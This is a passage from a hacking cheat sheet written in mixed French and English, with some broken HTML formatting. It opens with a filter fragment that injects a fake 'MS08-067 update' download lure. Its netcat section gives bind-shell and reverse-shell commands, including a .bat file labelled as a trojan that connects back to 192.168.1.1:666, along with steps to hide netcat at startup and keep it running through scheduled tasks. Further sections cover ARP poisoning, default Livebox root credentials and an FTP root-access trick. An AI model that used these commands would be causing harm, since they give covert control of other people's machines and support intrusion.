if (search(DATA.data, "")) {</span></i></p> <p class="MsoNormal" style="text-align:center" align="center"> <i style="mso-bidi-font-style: normal"><span style="mso-ansi-language:EN-US" lang="EN-US">replace("", "
 
src="http://monsite.com/security.png">  Update">Your PC is vulnerable and needs to be updated. The Microsoft Bulletin ID is  MS08_067. Please update by downloading the program and running the update. For more information, see   href=http://www.microsoft.com/technet/security/bulletin/MS08-067.mspx”>here");
msg("html injected");
}}

12.              NetCat


Netcat is a computer networking service for reading from and writing network connections using TCP or UDP. Netcat est un utilitaire Unix simple qui permet de gérer les sockets (connexions réseaux), c’est-à-dire qu’il est capable d’établir n’importe qu’elle connexion à un serveur, en choisissant le port, l’IP etc

·         Effectuer une connexion telnet en précisant la route à emprunter.
# netcat -n -v -t -s 192.168.0.25 -g 192.168.10.2 -g 192.168.10.1 192.168.1.20 23

Cryptcat
Cryptcat est un clone de netcat, qui permet de chiffrer ses communications via l’algorithme Twolfish.

·         Ouvrir une connexion sur un port:
#nc ftp.ladefense.fr 21

·         Ouverture d’un socket en mode listening du port 1337 :
#nc -l -p 1337

·         -u pour la création du socket
#nc -l -u -p 1337

·         Rediriger un fichier .txt vers un client
#nc -l -p 1337 < toto.txt

·         Rediriger les flux dans un fichier
#nc -l -p 1337 > file.log

·         Effectuer un scan détaillé de vos ports 1 à 65535
#nc -vv 127.0.0.1 1-65535

Setting up and Connecting to a "target" computer
Netcat installed on both computer
Start netcat on the "target" computer so your "attacking" computer can connect.
Unix: Open up a console. Then type:
#netcat -L -p 10002 -d -e konsole
This will open up a port on 10002 for you to connect to on your "attacking" computer, and when you connect you will be at the "target" computer's command prompt. To connect to the "target" computer open up a command prompt and type:
#netcat 192.168.1.1 10002
This will connect you to your "target's" computer.

-L Tells netcat to not close and wait for a connection
-p Tells netcat which port to listen on
-d Tells netcat to detach from the process we want it to run
-e Tells netcat which program to run after the port is connected

Transferring files through netcat
To send a file through netcat enter the command:
#start nc.exe -l -p 1234 >file.txt
after you have connected to a windows machine. The -p 1234 is the port netcat listens on, >file.txt is the file to be recieved through netcat.
Enter this in a konsole on the "attacking" computer "netcat 192.168.1.1 1234
Running netcat on startup hidden
Make a batch file with the command "nc -L -p 10002 -d -e cmd.exe" in it. Name this file start.bat and place it the root of your C drive. Download the program cmdow.exe. Make a batch file and name it hide.bat. Inside the file type "cmdow /RUN /HID C:\start.bat". Place this file inside the startup folder.
Now everytime the computer boots netcat will start hidden.

·         Netcat en mode écoute :
#nc -l -vv -p port

·         Créer un .bat pouvant servir de trojan sur la machine cible:

@echo off
nc -d -e cmd.exe 192.168.1.1 666
quit

·         Automatiser/pérenniser l’exécution du script sur la machine cible :

#at 08 :00 c:\nc.bat

13.              Telnet


D'anciens clients telnet exportent la variable USER. En modifiant le telnetd un administrateur peut obtenir le nom de tous les connectés
Les nouvelles versions exportent les variables UID, MAIL and HOME
Avant tout telnet, il faut donc changer les variables USER, UID, MAIL et PWD,HOME.
Changer les variables d'environnement de votre Telnet :
sous win : accéder aux paramètres de configuration système et logiciel
sous Unix :
SH : <>=<_value>;export <> ; exemple : USER=nobody;export USER
CSH: setenv <> <_value>; exemple : setenv USER nobody.

ARP Spoofing avec Telnet (à condition de disposer du login et MP)

#open 192.168.1.21
Connexion à 192.168.1.21 …

sTerm va permettre de faire de l’ARP poisonning :
Sous l’Onglet Configure :

-indiquer notre carte réseau
-indiquer l’IP que l’on souhaite usurper
-cacher ou non sa véritable adresse MAC

Réinitialiser le mot de passe d’une Livebox sagem sans reseter

Cliquer sur démarrer puis exécuter taper cmd puis OK
Entrer la commande
#telnet 192.168.1.1 (si vous avez changé l’@IP de votre livebox, mettre celle qui correspond!)
Un login est demandé, taper root et 1234 comme mot de passe
Une fois connecté, entrer la commande auth
Puis utiliser la commande resetuser pour modifier le mot de passe: resetuser admin
Modifier votre password admin, le message password changed doit apparaitre
Et voilà, vous avez a nouveau accès à votre livebox.

14.              FTP


Exécuter et tapez "ftp -n"
open url_du_site
Une fois connecté tapez alors quote user ftp.
mot de passe. Tapez alors cwd~root.
le login et le pass : tapez quote pass ftp.

Il y a donc deux choix : soit cela vous dit Anonymous user logged in--> vous Ítes alors connecté.

Soit User ftp cannot log in-- vous ne pourrez pas entrer sur le ftp...